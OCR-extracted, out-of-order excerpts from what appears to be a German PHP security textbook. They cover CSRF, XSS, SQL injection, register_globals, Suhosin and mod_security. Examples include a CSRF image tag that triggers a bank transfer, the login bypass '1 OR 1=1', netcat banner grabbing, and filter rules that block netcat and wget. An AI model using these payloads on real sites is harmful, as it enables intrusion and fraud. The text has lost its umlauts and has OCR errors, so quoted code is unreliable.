283. herheitsl cken das Open Source Projekt so weit diskreditiert dass man von einer Installation inzwischen nur noch abraten kann Auch das freie Forensystem phpBB hat in letzter Zeit durch viele kritische Sicherheitsl cken die unter anderem den Wurm Santy erm glich ten von sich reden gemacht einige Hosting Firmen verbieten in der Konsequenz den Einsatz dieses Forums auf ihren Servern Verdient Ihr Unternehmen sein Geld mit der Entwicklung und dem Verkauf webbasierter Applikationen k nnen solche Boykottaktionen empfindliche Umsatzeinbu en bedeuten schon eine auf Security Mailinglisten ver ffentlichte kritische L cke wird viele Administrato ren davon abhalten Kaufempfehlungen f r Ihr Produkt auszusprechen Denn Wo ein Fehler ist sind meist noch ein paar hnliche Schnitzer 8 http www heise de newsticker meldung 60767 12 1 Einleitung und viele Sicherheitsl cken beruhen nicht nur auf nachl ssiger Pro grammierung sondern auf einem fehlerhaften Programmkonzept Haben Sie Ihren guten Ruf als f hige Entwickler erst einmal durch einige Sicherheitsl cken verspielt ist es praktisch unm glich diesen wiederherzustellen denken Sie nur an Sendmail Bind oder wu ftpd die Musterbeispiele bekannter Open Source Produkte mit ellenlanger Fehlerliste Neben den direkten Folgen juristischer oder strafrechtlicher Art hat ein Hack in einem Ihrer Produkte somit auch verheerende Aus wirkungen auf den Ruf Ihrer Firma
284. hp um Debugging Symbole bereinigen k nnen Sie jedoch einen Teil dieses Problems l sen die Dateien werden deutlich kleiner 10 7 Safe Mode Der Safe Mode nicht zu verwechseln mit dem abgesicherten Modus beim Windows Betriebssystem ist per php ini oder VirtualHost Konfiguration aktivierbar Dieser Sicherheitsmodus f hrt f r s mtliche PHP Skripte eine Zugeh rigkeitspr fung durch Versucht das gerade 10 PHPintern ausgef hrte Skript auf Dateien zuzugreifen die einem anderen Benut zer geh ren verweigert der Safe Mode den Zugriff Diese Ma nahme ist ideal f r Betreiber von Hosting Servern da sie Zugriffe zwischen virtuellen Hosts unterbindet Diese haben n mlich mit einem Dilemma zu k mpfen das bei CGI PHP so nicht existiert Alle PHP Skripte m ssen vom selben Benutzer bzw mindestens derselben Gruppe lesbar sein n mlich denen des Webservers Damit wird eine PHP Datei die im Verzeichnis des Kunden A liegt gleichzeitig prinzipiell auch f r alle anderen Kunden lesbar die sich daf r interessieren Diese m ssen nur ein kleines PHP Skript schreiben das die Datei ausliest und dieses wird vom Webserver aus gef hrt der ber die notwendigen Leserechte verf gen muss Schlie lich muss der Webserver um eine Datei an einen Client ausliefern zu k nnen diese ffnen k nnen Der Ansatz den der Safe Mode verfolgt funktioniert folgenderma en Ein PHP Skript wurde vom Prozess mit der UID Unix User ID 1001
285. hr g ltig bitte lassen Sie sich eine neue Challenge zuschicken update_pw UPDATE user SET password md5 _POST new_password WHERE id mysql_real escape_string erg userid mysql _query update_pw dbh password updated invalidate_chall UPDATE challenge SET valid 0 WHERE challenge erg challenge mysql _query invalidate_chall dbh echo Passwort wurde ge ndert Ihr neues Passwort lautet lt b gt htmlentities strip_tags _POST new_password lt b gt 6 3 Authentifizierungssicherheit Die oben stehenden Skripte erf llen nat rlich nicht alle Sicherheits und Funktionsanspr che und sollen Ihnen nur als Vorlage f r eine eigene Implementierung dienen Das vom Benutzer neu zu w hlende Passwort sollte insbesondere den in den vorigen Abschnitten erw hn ten Kriterien gen gen um Sicherheitsprobleme zu minimieren Auch bei dieser Methode der Passwort nderung steht eines fest Ein Angreifer kann die E Mail mit dem Challenge Code abfangen und statt des eigentlichen Empf ngers das Passwort ndern Dieser wird jedoch davon erfahren da er entweder die Mail gar nicht erst bekommt und misstrauisch wird oder nach einem Klick auf den Chal lenge Link die Mitteilung erh lt dass die Challenge ID bereits ung l tig ist weil das Passwort schon ge ndert wurde 6 3 _Authentifizierungssicherheit 6 3 1 Falsche Request Methode Sie sollten bei Login Formulare
286. hrt werden Session Riding ist technisch jedoch anspruchsvoller und seine Behebung f r Entwickler meist h her priorisiert daher wollen wir uns zun chst auf diesen Teilaspekt der CSRF konzentrieren Wie ein Angriff ber Session Riding genau abl uft soll die fol gende Abbildung illustrieren GET forum posting php id 123 Forumsposting Host www forumxy de mit CSRF Angriff Forum XY lt img src http www meinebank de ueberweisung php betrag 9999 gt Opfer Angreifer www forumxy de Auskundschaften notwendiger Parameter GET ueberweisung php betrag 9999 Host www meinebank de www meinebank de Der Angreifer bereitet den CSRF vor indem er ber sein e Opfer genauere Informationen einholt Im vorliegenden Beispiel erf hrt er dass das Opfer im Forum XY regelm ig mitliest und ein Konto bei der Onlinebank MeineBank besitzt Als N chstes ermittelt der Blackhat ob diese Bank gegen CSRF ungesch tzt ist und welche URL 4 18 Cross Site Request Forgery CSRF und URL Parameter notwendig sind um eine berweisung auf das Konto des Angreifers vorzunehmen Mit diesen Informationen ausgestattet ver ffentlicht der Angrei fer ein Posting im Forum XY in das er eine Bild URL einf gt Die meisten Foren erlauben von Remote Sites nachgeladene Bilder per BBCode o schlie lich ist hier kein sch dlicher Skriptcode enthal ten Diese Bild URL ist zwar syntaktisch korrekt aber tats chlich ent
287. ht superglobal verf gbar also aus Funktio nen heraus nicht ohne Weiteres zug nglich Der Entwickler musste die Werte aus dem Array GLOBALS auslesen Auch von dieser Methode raten Experten mittlerweile ab sie wird aber in manchen Skripten immer noch verwendet Der schlechte Ruf dieser Konfigurationsvariablen als Verursacher von Sicherheitsproblemen basiert ausschlie lich darauf dass PHP Ent wickler h ufig vergessen Variablen vor der ersten Benutzung korrekt zu initialisieren Denn durch diesen Schalter ist es f r einen Angreifer m glich uninitialisierte Variablen die urspr nglich beispielsweise aus einem Formular bertragen werden sollten ber die URL zu initialisie ren Viele Programmierer pr fen ob sich in Variablen Inhalte befinden oder nicht Falls die Variable leer ist zum Beispiel beim ersten Aufruf macht die Applikation etwas anderes als wenn die Variable mit Inhalt gef llt ist In dem folgenden Beispiel soll durch einen Link ein Datei name file_to_load an ein Skript bermittelt werden 3 5 register_globals 77l lt a href files filel php gt Link zur Datei 1 lt a gt sal lt php securefiles array filel php file2 php file3 php if in_array _GET page securefiles file_to_load _GET page Lie if isset file_to_load include file_to_load else include index php gt Ist register_globals eingeschaltet und die Applikation w rde mit skript php file_
288. html 2 2 Webserver erkennen iol 2 2 1 Server Banner erfragen Ein Server Banner ist die Visitenkarte des Webservers und wird bei jeder Antwort an den Client zur ckgesendet In diesem Server Banner stehen Informationen ber den Server selbst installierte Module und die Betriebssystemumgebung auf der der Webserver installiert ist Die folgenden Einstellungen sollten angepasst an Ihre Webserverkonfigu ration f r Produktionssysteme immer gelten denn das erschwert einem Angreifer die Informationsgewinnung ungemein und macht eine Identifikation des Webservers schwieriger Im Webserver Banner ist fast immer der Servername und die Versionsnummer angegeben Die installierten Module und die verwen deten Skriptsprachen werden bei einigen Webservern ebenso mitgesen det wie auch noch eine kurze Angabe ber das Betriebssystem selbst Server Apache 1 3 33 Unix mod_ss1 2 8 16 Ein solches Server Banner kann mit Werkzeugen wie z B telnet oder netcat erfragt werden die zum Lieferumfang fast jeder Linux Distribu tion geh ren Telnet ist ein Terminalemulator der interaktive Verbin dungen zu einem entfernten Rechner erm glicht und dabei die Client funktionen bernimmt Netcat dient dazu Daten von der Standardein bzw ausgabe ber Netzwerkverbindungen zu transportieren abahatchi netcat www php sicherheit de 80 HEAD HTTP 1 0 HTTP 1 1 200 OK Date Wed 06 Jul 2005 14 24 56 GMT Server Apache 2 0 53 Linux SUSE
289. iablenwerte au erhalb des legalen Gel tungsbereiches entsorgt Sie muss jedoch mit sehr hohem initialen Auf wand konfiguriert werden um genau zur Anwendung zu passen Wenn 12 3 mod_security 277 die Anwendung erweitert wird m ssen entsprechende Anpassungen stattfinden Bei Anwendungsgebieten wie CMS oder Blogsoftware die einen sehr breiten Wertebereich f r Variablen haben schlie lich kann ein Texteingabefeld auch bei legitimer Nutzung beliebige Werte sogar HTML Code enthalten ist eine Whitelist nicht praktisch umsetzbar da sie auch beliebige Werte erlauben m sste und somit unn tz w re Eine Blacklist kann hier zumindest solche als unerw nscht bekannte Inhalte ausfiltern Ist jedoch der Variablenbereich stets eng definiert etwa bei Shopsoftware die fast ausschlie lich mit numerischen Werten arbeitet leistet eine Whitelist praktische Dienste um bequemen Pro grammierern explizite Casts auf Integer Float etc abzunehmen In Produktionsumgebungen insbesondere auf Hosting Servern werden Sie meist mit Blacklist basierten Ans tzen arbeiten m ssen um die bekanntesten Angriffe abzuwehren Da im PHP Umfeld die Mehr zahl aller Crackingversuche auf publizierten Exploits beruht die etwa alte phpBB oder Mambo Versionen zum Ziel haben k nnen Sie mit einigen spezialisierten Regeln sehr viele Sicherheitsl cken umschiffen die sonst zu einer Kompromittierung des Webservers f hren k nnen 12 3 mod_security Offiziell
290. ian ee nmana 231 10 10 2 FastCGI 42222 8 235 10 10 3 Das Apache Modul mod_suid 237 10 11 Rootjail L sungen 222 2202 ceeeeeeeeeenenn 241 10 11 1 BSD Rootjails respiren aonr aE Esi 241 10 11 2 User Mode Linux snsnenenn ennnen 242 10 11 3 mod_security nnnnunn nunne enen 242 10 11 4 mod_chroot ss g rereana ia RE a 242 Toa Pazite he e a a A AA 243 11 PHP Hardening 245 11 1 Warum PHP h rten 2 22cceuceeeeereeenn 245 11 1 1 Buffer Overflows 2 222222 ceeeceee nn 246 11 1 2 Schutz vor Puffer berl ufen im Suhosin Patch cearta o naaa i 247 11 1 3 Schutz vor Format String Schwachstellen 248 11 14 Simulationsmodus 2222cceece 249 11 1 5 Include Schutz gegen Remote Includes und Nullbytes 222c2ceeeeeeeeee nn 250 11 1 6 Funktions und Evaluationsbeschr nkungen 251 11 1 7 Schutz gegen Response Splitting und Mailheader Injection 2222cccc220 252 11 1 8 Variablenschutz 22222ccccccec 252 xiv Inhaltsverzeichnis 11 2 11 3 11 4 11 5 11 6 11 7 12 12 1 12 2 12 3 12 4 12 5 11 1 9 SQL Intrusion Detection 2 0 253 11 1 10 Eosging 4 23 30 85er area 253 11 1 11 Transparente Cookie und Session Verschl sselung 22222 253 11 1 12 H rtung des Speicherlimits 254 11 1 13 Transparenter phpinfo Schutz 254 11 1 14 Kryptografische Funktionen 254 Prinzipien hinter Suhosin
291. ibt es f r diese Aufgabe sogar eine passende Extension Mit ext crack k nnen Sie aus Ihren eigenen PHP Skripten heraus Dictionary Angriffe durchf hren In einer Anwendung die haupts chlich von Endkunden benutzt wird k nnen Sie sich demnach leider nicht darauf verlassen dass sichere Passw rter zum Einsatz kommen den Kunden jedoch zu zwingen ein von Ihnen vorgegebenes Passwort zu benutzen d rfte ihn sehr leicht ver rgern Daher bietet sich ein mehrstufiges Vorgehen an das die Balance aus Komfort und Sicherheit zu halten versucht gleich zeitig aber mit etwas Psychologie auf die Anwender einwirkt Vergeben Sie zun chst bei der Anmeldung Aktivierung ein von Ihrer Anwendung zuf llig erstelltes Passwort das der Kunde jederzeit ndern kann M chte er sein Passwort ndern sollten Sie einige Sicherheits berpr fungen vornehmen um Kennungen wie abcdef zu vermeiden Dieses Vorgehen hat folgende Vorteile Sie k nnen das initiale Passwort f r den Kunden Benutzer selbst bestimmen und ihm so zei 6 2 Authentisierungssicherheit 153 gen wie ein gutes Passwort aussehen k nnte Au erdem werden Sie feststellen dass nur die wenigsten Anwender ihr Passwort auch tat s chlich auf ein etwas einfacher zu merkendes ndern werden meist werden die Passw rter im Password Safe des Browsers abgespei chert und vom Benutzer nicht mehr weiter beachtet M chten Sie Ihren Benutzern ein sicheres Passwort vorgeben oder ihn
292. ichten sich anders als etwa SQL Injections nicht gegen den Server sondern nutzen einen Cli ent aus brigens Mit dem Produktnamen Internet Explorer wird in der Regel die Version 6 des Browsers bezeichnet die sich stellenweise anders verh lt als die aktuellste Version F r Mozilla basierte Browser verwenden die Autoren Firefox 2 als Referenz auch hier unterschei den sich manche Abarten bzw ltere oder neue Versionen in einigen Belangen Insbesondere der zum Zeitpunkt der Drucklegung als Beta Version verf gbare Firefox 3 enth lt deutliche nderungen 4 2 Was ist Cross Site Scripting Eine oftmals untersch tzte Gefahrenklasse ist das sogenannte Cross Site Scripting oder auch XSS In einer Vielzahl dynamischer Websei ten oder webbasierter Softwareprodukte findet man diese L cken die es einem Angreifer erlauben seinen Schadcode beim Client auszuf h ren Anders als bei SQL Injections oder anderen Angriffsmustern die sich gegen den Web oder Datenbankserver richten ist das Ziel einer XSS Attacke stets der Client also ein Forennutzer Online Eink ufer oder einfach nur ein unbedarfter Besucher Ihrer dynamischen Webseite Allgemein wird mit XSS die M glichkeit bezeichnet im HTML Code fremder Seiten durch einen geeigneten Request eigenen Schad code zur Ausf hrung zu bringen Da dieser Code im Kontext der ihn anzeigenden Seite ausgef hrt wird k nnen die blichen Sicherheitsbe schr nkungen des Document Object M
293. ie sollten eher f r jede Anwendung einen eigenen Location Block in der httpd conf und separate XML Dateien erstellen So bleibt der Umfang der einzelnen XML Dateien in einem vern nfti gen Rahmen und Sie k nnen leichter auf nderungen L schung ein zelner Anwendungen Verschieben von Anwendungen in andere Ver zeichnisse etc reagieren Zwei Konfigurationsdirektiven f r mod_parmguard werden in die globale Serverkonfiguration also au erhalb von VirtualHost oder Location Bl cken eingef gt Die Direktive ParmguardTrace kann ver wendet werden um mod_parmguard in einen Debugging Modus zu versetzen und ausf hrlichere Fehlermeldungen im Webserver Logfile aufzufangen ParmguardTrace debug Die zweite Direktive ParmguardPeriodicReload ist nur unter Apache 2 verf gbar und erm glicht ein automatisches Neuladen der XML Regeldateien ohne Neustart des Webservers Dieses Feature ist auf Produktionsserver n tzlich da der Neustart des Webservers hier f r unerw nschte Ausf lle sorgen k nnte Tragen Sie in der globalen Ser verkonfiguration die Zeile ParmguardPeriodicReload 3600 ein so wird jede XML Konfigurationsdatei von mod_parmguard nach einer Stunde neu geladen 12 4 mod_parmguard 303 F r die folgenden Beispiele verwenden wir eine Datei namens test php die im Unterverzeichnis parmguard des Webservers zu finden ist Die XML Datei mit den Whitelist Regeln wird der Einfachheit hal ber in etc httpd abgelegt Ent
294. ierenden Filter 1 1 zur ckgegeben Vorsicht ist jedoch bei URLs mit Umlauten und UTF 8 Zeichen geboten Obgleich moderne Brow ser diese korrekt als Internationalized Domain Names IDN inter pretieren werden sie vom URL Filter nicht anerkannt Das liegt ein fach daran dass Browser die auch als Umlautdomains beworbenen IDN Domains intern in das sogenannte Punycode Format umwandeln aus http www f b r com wird so http www xn fbr rla2ga com und dieser URL wird selbstverst ndlich auch von ext filter anerkannt Domains mit Umlauten m ssen in Punycode umgewandelt werden 9 8 IP Adressen pr fen 203 Sie k nnen diese Umwandlung mit der Extension ext idn aus PECL oder anderen L sungen durchf hren 9 8 IP Adressen pr fen Bisweilen ben tigt man in einer PHP Anwendung IP Adressen aus Benutzereingaben etwa f r ein Programm das basierend auf einer IP Adresse Netzwerk und Broadcast Adresse berechnet oder um einen Datenbankserver in einem internen Netzwerk anzusprechen IP Adres sen zu validieren ist eine recht trickreiche und undankbare Aufgabe denn neben einigen Sonderf llen die einzeln abgepr ft werden m s sen k nnen Sie auch bei einer nachweislich syntaktisch korrekten IP Adresse nicht ohne Weiteres nachpr fen ob diese Adresse auch zu jedem Zeitpunkt erreichbar ist d h geroutet wird Sie k nnen jedoch mit ext filter einige Stolperfallen eliminieren die bei von Nutzern angegebenen IP Adre
295. ifeln ob die API und die bewusste Entscheidung der Autoren gegen einen OOP Ansatz Bestand haben werden Gegenw rtig ist das Layout der Filter API v l lig kontr r zu den f r PHP blichen Konventionen statt einer Funk tion die mit einer un berschaubaren Anzahl von Konstanten arbeitet sollten eher f r jede Filteraktion eigene Funktionen implementiert wer den Die Handhabung der Extension ist nicht nur durch diese Beschr n kung auf zwei bis vier Kernfunktionen sehr umst ndlich auch die Tatsache dass teilweise essenzielle Optionen als optionales Array bergeben werden bleibt unverst ndlich So sind manche Filter im Standardmodus schlicht unn tz wie etwa der URL Filter Ein URL der foobar blah heift kommt nur in seltenen F llen vor unerfah rene Entwickler k nnten sich hier durch einen zu permissiven Default Modus einem tr gerischen Gef hl von Sicherheit hingeben Zu guter Letzt machen einige Unsch nheiten in der API die Arbeit mit der Filter Extension bisweilen etwas m hselig Eine PHP Exten sion in den Kern aufzunehmen die derart von den grunds tzlichen Paradigmen der PHP Entwicklung abweicht war eine mutige Ent scheidung die f r einige Kontroversen gesorgt hat 209 10 PHPintern Neben der Absicherung Ihrer Anwendungen ist eine sorgf l tige Konfiguration von PHP selbst wichtiger Bestandteil einer sicheren Umgebung Fehler im Kern der Sprache machen regel m ige Updates notwendig und einige
296. ilter verhindern au erdem unterbindet er die Ausf h rung diverser Shells Netcat wget und einiger anderer f r Angriffe n tzliche Binaries Mit dem Schl sselwort SecFilter filtern Sie GET und POST daher w re es zum Beispiel f r ein Unix Forum oder ein CMS in dem Linux Tipps gesammelt werden eher unpraktisch die Erw hnung einiger der popul rsten Werkzeuge f r dieses Betriebssystem per mod_security Regel zu verhindern mit einer entsprechenden SecFilterSelective Regel die wir Ihnen weiter unten zeigen werden lie e sich das viel ele ganter l sen Eine weitere praktische Regel verhindert dass oftmals in f r den Webserver zug nglichen Verzeichnissen vergessene Dateien und Unter verzeichnisse unabsichtlich lesbar werden Kandidaten hierf r sind wie auch im Kapitel 2 Informationsgewinnung beschrieben Dateien wie README INSTALL Changelog oder Verzeichnisse wie CVS usw Die vollst ndig korrekte Option w re schlicht den Zugriff auf all diese Objekte ber entsprechende Anweisungen im Webserver zu ver Readme Dateien unterdr cken 292 12 Webserver Filter f r Apache bieten aber bekanntlich f hren ja viele Wege nach Rom und so k n nen Sie mit einer kurzen Regel f r das Sicherheitsmodul Zugriffe beschr nken SecFilter ChangeLog README INSTALL CVS Repository Entries Verkettete Regeln mit selektiver Suche Wie im obigen Abschnitt ber m gliche Aktionen beschrieben k nnen
297. imale L ngen oder Select und Combo Boxen k nnen manipuliert werden F r die Cookie Werte gibt es z B f r den Mozilla Browser entsprechende Plugins die es erlauben diese Werte zu beeinflussen Es k nnen aber auch entsprechende PHP Skripte entwickelt werden die Anfragen an den Server schicken Mit diesen ist es ebenso m glich einfache nderungen des HTTP Requests durchzuf hren In den folgenden Abschnitten erkl ren wir welche Werkzeuge Ihnen zur Parametermanipulation zur Verf gung stehen wie Sie diese installieren k nnen und wie Sie damit Parameter manipulieren 3 2 1 Parametermanipulation mit dem Browser Parameter die per URL oder Formular bertragen werden k nnen mit einem Standardbrowser ohne zus tzliche Hilfsmittel manipuliert wer den 3 2 Werkzeuge zur Parametermanipulation sl http www php sicherheit de index php mode show amp id 1 Die beiden GET Parameter mode und id k nnen durch eine nderung in der Adressleiste Ihres Browsers ge ndert werden und so verf lscht an den Server geschickt werden Beginnen Sie hier mit einer nderung der idin einen anderen Wert z B 100 Ist diese Aktion von Erfolg gekr nt kann es m glich sein dass Sie Datens tze auslesen k nnen die eigent lich nicht f r Ihre Augen bestimmt sind F gt man nun Sonderzeichen wie 00 in die Variable id ein kann es m glich sein dass Fehlermel dungen im Browser zu sehen sind Das deutet auf eine ungen gende Validierung d
298. in Angreifer SQL Injection benut zen um sich an dem Login vorbeizumogeln Setzt er einfach das Passwort Feld auf einen Wert wie 1 OR 1 1 so wird die resultie rende SQL Query stets einen Wert zur ckgeben query SELECT username FROM auth_users WHERE username absynth AND password 1 OR 1 1 Der Angreifer w re in diesem Beispiel nun als Benutzer absynth eingeloggt obwohl er das Passwort dieses Nutzers gar nicht kennt Lediglich der Benutzername muss bekannt sein Verwenden Sie die im obigen Abschnitt genannte L sungsm glich keit f r das Gro und Kleinschreibungsproblem so brauchen Sie sich zumindest um die beiden Felder f r Benutzernamen und Passwort keine Sorgen mehr zu machen Da bereits das PHP Skript aus den Wer ten Pr fsummen bildet wird jeder Versuch einer SQL Injection bereits im Ansatz unterbunden 6 3 4 XSS Findet ein Angreifer eine M glichkeit eigenen JavaScript Code auf Ihrer Login Seite einzuf gen ist die resultierende L cke besonders kri tisch Wie wir im Kapitel 4 Cross Site Scripting gesehen haben k n nen so mit einer entsprechend pr parierten Seite die Login Daten eines legitimen Benutzers abgefangen werden dank Password Safe sogar ohne dass er sich tats chlich einloggt Daher ist es extrem wichtig dass Ihre Login Seiten absolut XSS frei sind Sie sollten nach M glichkeit davon absehen Login und ande ren Content zu mischen also keine Login Box
299. in XSS Angriff gegen jeden folgenden Besucher der entsprechenden Seite bzw des entsprechenden Threads durchgef hrt Der Angreifer ben tigt keine weiteren Manipulationen an der URL s4 4 Cross Site Scripting XSS W rmer auf MySpace Passwort Safes knacken Findet er jedoch eine L cke die nur durch spezielle stets neu zu machende Eingaben ausgenutzt werden kann Suchfelder sind sehr beliebt so muss der Angreifer die URL zum verwundbaren Skript so modifizieren dass sie XSS enth lt Diese URL muss er dann allen potenziellen Opfern so unterschieben dass diese auf die merkw rdigen Zeichen nicht aufmerksam werden Am einfachsten l sst sich dies mit einem Link bewerkstelligen der eine interessante Seite verspricht Mit diesem Social Engineering haben sich auch schon einige Mail W rmer verbreitet f r XSS ist sie praktisch unver ndert einsetzbar Ist ein Link interessant genug und ist die Mail professionell genug aufgemacht wird fast jeder Anwender dem Link folgen und in die XSS Falle tappen Solche XSS W rmer haben bereits mehrfach die popul re Com munity MySpace heimgesucht und sich ber in Nutzerseiten einge bettetes JavaScript fortgepflanzt Der j ngste MySpace Wurm nutzte gar ein Quicktime Applet f r seine Zwecke 4 4 Erh hte Gefahr dank Browserkomfort Seit einiger Zeit gibt es in verschiedenen Browsern die M glichkeit viel genutzte Benutzername Passwort Kombinationen in einem soge nannten Pass
300. in ist das s dkoreanische Wort f r Schutzengel die so benannte Software stellt ein zweiteiliges PHP Sicherheitssystem dar Es besteht zum einen aus dem Suhosin Patch der sich nur um den Schutz des PHP Kerns k mmert und zum anderen aus einer PHP Extension die eine Vielzahl von Funktionen implementiert die es unter anderem erlauben bestehende PHP Anwendungen ohne Eingriffe in den Code gegen Angriffe zu sch tzen Dies geht so weit dass zum Beispiel durch das Aktivieren der transparenten Verschl sselung von Cookies und Sessions innerhalb der Konfiguration alte Applikationen automatisch gegen Sicherheitsprobleme wie Session Fixation Hijacking gesch tzt werden ohne dass eine einzige Codezeile modifiziert werden muss Seit Mitte 2007 wird die Entwicklung von Suhosin nicht mehr vom Hardened PHP Projekt gef hrt sondern sie wurde von der Sekti onEins GmbH bernommen die unter anderem von einem der Auto ren dieses Buches mit dem Ziel gegr ndet wurde Webapplikationen abzusichern Um die Ansatzpunkte der verschiedenen Kern Schutzma nahmen innerhalb des Suhosin Patch zu verstehen ist eine kurze und stark vereinfachende Exkursion in die Speicher und Pufferverwaltung in C unumg nglich Wenn Sie einfach nur die Vorz ge von Suhosin genie en m chten ohne sich mit theoretischen Details zu belasten sollten Sie die folgenden Abs tze berspringen 11 1 1 Buffer Overflows Puffer berl ufe englisch Buffer Overflows geh ren
301. inbezogen werden denn diese k nnen in einem State ment beliebig verwendet werden 5 3 3 Einfache SQL Injection Wenn die SQL Abfrage einfach ist ist auch die SQL Injection einfach Ist eine SQL Abfrage kompliziert dann ben tigt man viele Versuche um eine erfolgreiche SQL Injection durchzuf hren In beiden F llen sind nur einige grundlegende Dinge notwendig um herauszufinden wie kompliziert die Query eigentlich ist Die einfachste SQL Abfrage ist ein SELECT Befehl in dem der mani pulierte Parameter in der WHERE Klausel steht Der Angreifer muss nur in der Lage sein an diese WHERE Klausel sch dlichen Code anzuf gen sodass diese SQL Abfrage andere Daten zur ckgibt als sie sollte In SELECT Befehle 32 5 SQL Injection Kommentarzeichen verwenden Login Formular einfachen Applikation reicht es manchmal wenn man ein OR 1 1 anh ngt Dies sorgt daf r dass die WHERE Klausel immer zu TRUE evalu iert In den meisten F llen funktioniert dies aber nicht so einfach Klammern m ssen geschlossen oder nachfolgende Schl sselw rter m ssen auskommentiert werden Jede wHERE Klausel besteht aus einer oder mehreren Bedingungen die zu TRUE oder FALSE evaluiert werden Hierbei muss man einfach ein bisschen probieren um das richtige Ergebnis zu erhalten Sie sollten hier mit AND OR und auch den Klammern mehrere Versuche starten bis kein Fehler bzw der gew nschte Datensatz auf dem Bildschirm erscheint AND 1 2 verwande
302. index php plain projects apache_l_xx_mod_suid Wrapper Skript f r FastCGI PHP 238 10 PHPintern Diese Idee klingt zun chst nach einer sehr guten L sung f r alle mod_php Sicherheitsprobleme bringt aber einen zentralen Nachteil mit sich F r mod_suid muss der Webserver mit Root Privilegien lau fen Zwar muss er stets als root gestartet werden da sonst der Liste ning Socket auf dem privilegierten Port 80 nicht ge ffnet werden kann aber die Privilegien werden normalerweise sofort nach dem ffnen dieses Sockets wieder mit einem Aufruf der C Routine setuid abge geben der Webserver nimmt die User und Gruppen ID aus den ent sprechenden Konfigurationsdirektiven in httpd conf an Ein Mantra unter Webserver Administratoren lautet in etwa Lasse nie einen Webserver unter dem Benutzer root laufen und genau diesen Grundsatz missachtet mod_setuid indem es den Webser ver zun chst dazu zwingt weiterhin als User root zu laufen ber eine interne Liste w hlt das Modul den Benutzer aus mit dem alle nicht weiter konfigurierten virtuellen Hosts laufen sollen diese Liste ent h lt die Benutzernamen wwwuser httpd www lt web und nobody Einer dieser Benutzer sollte also stets existieren sonst l uft Apache immer mit vollen Root Rechten Die Rechtevergabe betrifft dabei stets nur das aktuelle Apache Child also den Kindprozess der einen Request bearbeitet und ist reversibel Da die UID nicht pe
303. inding 140 Prepared Statements 140 Schl sselw rter 131 Schl sselwort Filterung 140 Schutz 139 Sonderzeichen 130 Sonderzeichen maskieren 139 Stored Procedures 142 Syntax 130 UNION 133 M glichkeiten auffinden 123 SQL Sonderzeichen 130 SSL 147 330 Stored Procedures 142 strip_tags 71 94 strlen 69 suExec 217 suPHP 231 system 62 T Team Teso 209 210 Tempor re Dateien 28 Timeout 178 Stichwortverzeichnis 335 U Umgebungsvariablen 222 Upload Formulare 187 195 Aufbau 187 Speicherung 189 Upload Einstellungen 227 User Mode Linux 242 V Validierung clientseitig 75 Variablen pr fen 67 auf Datentyp pr fen 68 Blacklist Pr fung 74 Datenl nge pr fen 69 Inhalte pr fen 70 Whitelist Pr fung 72 Variablenfilter 268 variables_order 315 Vordefinierte PHP Variablen manipulieren 65 Ww WAF Siehe Web Application Firewall 6 Web Application Firewall 6 Webscarab Proxy 48 Webserver 18 Server Banner erfragen 19 Fingerprinting 22 Verhalten interpretieren 21 WebserverFP 22 Whitelist Pr fung 72 X XSS 6 11 81 163 165 180 188 Z 290 BBCode 97 Beispiele 87 DOM 104 einfache Gegenma nahmen 94 Gefahrenpotenzial 319 HTML erlauben 97 HTML Filter 98 Login 165 RSS 111 XSS Cheat Sheet 91 XSS in HTIP Headern 107 XSS Entfernung 98 Siehe auch CSRF 112 Zertifikate 147 Zip Archive gef hrliche 193 Zwischenablage 85 103
304. ine bestimmten Begriffe son dern einfach s mtliche m glichen Zeichenkombinationen ausprobiert bis der Angreifer Erfolg hat Da hierbei leicht mehrere Millionen Anfragen an das jeweilige Subsystem gestellt werden sind Brute Force Angriffe meist relativ leicht erkennbar und sorgen oft daf r dass Log Dateien auf dem angegriffenen Server berlaufen Ein Passwort ist 7 http pear php net package Text_Password i54 6 Authentisierung und Authentifizierung Auszug aus Password php umso sicherer gegen Bruteforcing je gr er der Zeichenraum ist aus dem es zusammengesetzt ist So sind bei einem acht Zeichen langen Passwort das mit Text_Password im Modus pronounceable erstellt wurde lediglich wenige Millionen verschiedener Passw rter m glich bis zu 14 Millio nen da stets ein Vokal auf einen Konsonanten folgen muss und inner halb des Algorithmus einige andere Regeln beachtet werden v array a e i o io ea ou ja ai array b c d g h j k 1 m IND vw Dre Ver fr dr wr pr th ch ph st sl cl v_count 12 c_count 29 _Text_Password NumberOfPossibleCharacters v_count c_count for i 0 i lt length i retVal c mt_rand 0 c_count 1 v mt_rand 0 v_count 1 u ae ou c return substr retVal 0 length Eine Brute Force Attacke ist damit wesentlich wahrscheinlicher von Erfolg gek
305. ine weitere Best tigung angefordert wird In vielen Administrationsoberfl chen wird daher bei allen administrativen T tigkeiten in einem Forum Artikel l schen Benutzerberechtigung anpassen etc zus tzlich die Fingabe des Nutzerpassworts gefordert Von Systemen mit hohen Sicherheitsanforderungen wie z B Internet banking kennen Sie wahrscheinlich das Konzept der Einmalpassw rter oder Transaktionsnummern TAN das neben der erh hten Authenti fizierungssicherheit auch ein Schutz gegen CSRF darstellt Ein weiteres verbreitetes Konzept sind Best tigungs E Mails Dem eine Aktion ausf hrenden Nutzer wird hierbei eine E Mail geschickt die einen Link enth lt den er erst anklicken muss damit die Aktion wirklich durchgef hrt wird Grunds tzlich lassen sich auch CAPTCHA Bilder siehe Abschnitt 6 3 dazu einsetzen CSRF L cken in Ihrer Applikation zu schlie en Beide Konzepte werden wir Ihnen in Kapitel 6 vorstellen 4 18 5 Formular Token gegen CSRF Alle bisher genannten Methoden haben die Gemeinsamkeit dass sie zus tzliche Aktionen vom Nutzer erfordern Dies ist aber aus Gr nden der Nutzerfreundlichkeit nicht immer erw nscht Stellen Sie sich vor dass Sie in einem Internetshop f r jeden Artikel den Sie in den Waren korb legen wollen einen Sicherheitscode eingeben m ssten w rden Sie in einem solchen Shop Ihre Weihnachtseink ufe erledigen Aus die sem Grund wird in der Praxis h ufig ein anderes Verfahren zum Schutz vor
